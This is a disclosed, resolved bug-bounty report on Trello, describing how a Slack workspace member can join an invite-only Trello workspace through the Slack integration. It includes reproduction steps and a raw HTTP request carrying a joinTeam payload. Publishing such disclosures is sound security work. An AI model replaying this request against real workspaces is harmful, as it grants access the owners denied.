Privilege Escalation Vulnerability: A Non-Workspace Member Can Self-Join other users Trello Workspace through Slack Integration even when Self-Join is diabled by Owner

Disclosed by
TechyCodec08
  • Engagement Trello
  • Disclosed date over 1 year ago
  • Reward $1,200
  • Priority P3 Bugcrowd's VRT priority rating
  • Status Resolved This vulnerability has been accepted and fixed
Summary by Trello

Privilege Escalation Vulnerability in Trello

Summary by TechyCodec08

Privilege Escalation Vulnerability: A Non-Workspace Member Can Self-Join other users Trello Workspace through Slack Integration

Report details
  • Submitted

  • Target Location

    trello.com
  • Target category

    Web App

  • VRT

    Broken Access Control (BAC) > Privilege Escalation
  • Priority

    P3
  • Bug URL
    Empty
  • Description

    BUSINESS_IMPACT

    When you link your Slack Workspace to your Trello Account, any User from your Slack Workspace can join your Trello workspace without your permission even if you have restricted the settings by changing the privilege to Invite only.

    This feature should have made sure that any member of your Slack Workspace can only join your Trello Workspace when Invited manually by you, or any other Admin of the Workspace.
    But This restriction can easily be bypassed and any member of your Slack Workspace can join your Trello Workspace.

    ATTACK SCENARIO

    There is a feature in Trello to integrate your Slack Workspace with Trello.
    image-2025-03-17T11:57:52.741Z.png

    Then there is a setting to change as to how can a member of your slack workspace join this trello workspace, which has two options:

    1. Self-Join
    2. Invite Only

    image-2025-03-17T12:00:15.746Z.png

    For Self-Join any member of your Slack Workspace can automatically join your Trello Workspace

    image-2025-03-17T12:01:26.074Z.png

    But, for Invite only there is a restriction over a slack workspace member, where they can only join your Trello Workspace when Invited by you.
    In other words, a member of your Slack Workspace cannot join your Trello Workspace all by himself.

    image-2025-03-17T12:04:17.473Z.png

    This feature does not properly restrict a member of your Slack Workspace to Join your Trello Workspace.

    STEPS TO REPRODUCE

    1.Login to your Trello Account and go to your Workspace Settings Page (You need to have a Premium Account for this)
    2.Link your Slack Workspace to your Trello Workspace.
    3.Add a different user (Attacker For This Scenario) to your Slack Workspace, who is not yet a part of your Trello Workspace.
    4.Change the Invitation setting to Invite-Only

    image-2025-03-17T12:37:22.344Z.png

    5.Login to Slack Workspace being the Attacker now and link your personal Trello Account
    6.At this stage the Attacker is a member of your Slack Workspace, but not your Trello Workspace.
    7.Being the attacker go to the Apps section of your Slack Account and see that your Trello Account is linked.

    image-2025-03-17T12:10:56.328Z.png

    8.Go to the Trello Integration, and then go to the messages subsection, where Trello will ask you if you want to join to a workspace you are already linked with.

    image-2025-03-17T12:13:00.218Z.png

    7.Click on the join button and you will see that you have become a member of the Board, even after the restrictions in place.
    8.If the above request does not work from UI, you can send the below request manually using any proxy tool like Burp Suite

    POST /api/chat.attachmentAction?_x_id=fc861004-1742211576.857&_x_csid=wq8zj27AO3A&slack_route=T08JN1VL2NL&_x_version_ts=1742207255&_x_frontend_build_type=current&_x_desktop_ia=4&_x_gantry=true&fp=a3&_x_num_retries=0 HTTP/2
    Host: techycodec.slack.com
    Cookie: <SLACK_COOKIE>
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Content-Type: multipart/form-data; boundary=----geckoformboundaryab7a35356138da9abc9fd861d93191b6
    Content-Length: 1577
    Origin: https://app.slack.com
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-site
    Priority: u=0
    Te: trailers
    
    ------geckoformboundaryab7a35356138da9abc9fd861d93191b6
    Content-Disposition: form-data; name="token"
    
    <SLACK_TRELLO_INTEGRATION_TOKEN>
    ------geckoformboundaryab7a35356138da9abc9fd861d93191b6
    Content-Disposition: form-data; name="payload"
    
    {"actions":[{"id":"1","name":"joinTeam","text":"Join","type":"button","value":"{\"idTrelloTeam\":\"67bd3bb0a24f64da5ed76161\"}","style":""}],"attachment_id":"1","callback_id":"callback-joinTeam-ts:1742207561421","channel_id":"D08JNCJ1D08","message_ts":"1742207561.551579","prompt_app_install":false,"team_id":"T08JN1VL2NL"}
    ------geckoformboundaryab7a35356138da9abc9fd861d93191b6
    Content-Disposition: form-data; name="client_token"
    
    web-1742211576856
    ------geckoformboundaryab7a35356138da9abc9fd861d93191b6
    Content-Disposition: form-data; name="service_id"
    
    B08JN2FP49E
    ------geckoformboundaryab7a35356138da9abc9fd861d93191b6
    Content-Disposition: form-data; name="bot_user_id"
    
    U08JN2FP7K2
    ------geckoformboundaryab7a35356138da9abc9fd861d93191b6
    Content-Disposition: form-data; name="_x_reason"
    
    user_attachment_action_dispatch
    ------geckoformboundaryab7a35356138da9abc9fd861d93191b6
    Content-Disposition: form-data; name="_x_mode"
    
    online
    ------geckoformboundaryab7a35356138da9abc9fd861d93191b6
    Content-Disposition: form-data; name="_x_sonic"
    
    true
    ------geckoformboundaryab7a35356138da9abc9fd861d93191b6
    Content-Disposition: form-data; name="_x_app_name"
    
    client
    ------geckoformboundaryab7a35356138da9abc9fd861d93191b6--
    
    

    image-2025-03-17T12:46:07.534Z.png

    SEVERITY

    CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N | CVSS = 6.5 (MEDIUM)

Activity